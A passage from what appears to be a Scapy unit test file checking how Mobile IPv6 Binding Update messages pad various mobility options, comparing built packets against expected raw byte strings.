h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptBindingAuthData = Mobility Options - Automatic Padding - MIP6OptBindingAuthData a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptMobNetPrefix = Mobility Options - Automatic Padding - MIP6OptMobNetPrefix a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()])) == b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x05\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x04\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x03\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptLLAddr = Mobility Options - Automatic Padding - MIP6OptLLAddr a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptMNID = Mobility Options - Automatic Padding - MIP6OptMNID a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x08\x01\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x08\x01\x01' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x08\x01\x01\x01\x05\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x08\x01\x01\x01\x04\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x08\x01\x01\x01\x03\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x08\x01\x01\x01\x02\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x08\x01\x01\x01\x01\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x08\x01\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x08\x01\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptMsgAuth = Mobility Options - Automatic Padding - MIP6OptMsgAuth a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptReplayProtection = Mobility Options - Automatic Padding - MIP6OptReplayProtection a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCGAParamsReq = Mobility Options - Automatic Padding - MIP6OptCGAParamsReq a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0b\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0b\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0b\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0b\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0b\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0b\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0b\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0b\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0b\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCGAParams = Mobility Options - Automatic Padding - MIP6OptCGAParams a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0c\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0c\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0c\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0c\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0c\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0c\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0c\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0c\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptSignature = Mobility Options - Automatic Padding - MIP6OptSignature a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\r\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\r\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\r\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\r\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\r\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\r\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\r\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\r\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\r\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken = Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0e\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0e\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0e\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0e\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0e\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0e\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0e\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0e\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0e\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCareOfTestInit = Mobility Options - Automatic Padding - MIP6OptCareOfTestInit a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0f\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0f\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0f\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0f\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0f\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0f\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0f\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0f\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCareOfTest = Mobility Options - Automatic Padding - MIP6OptCareOfTest a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTest()])) 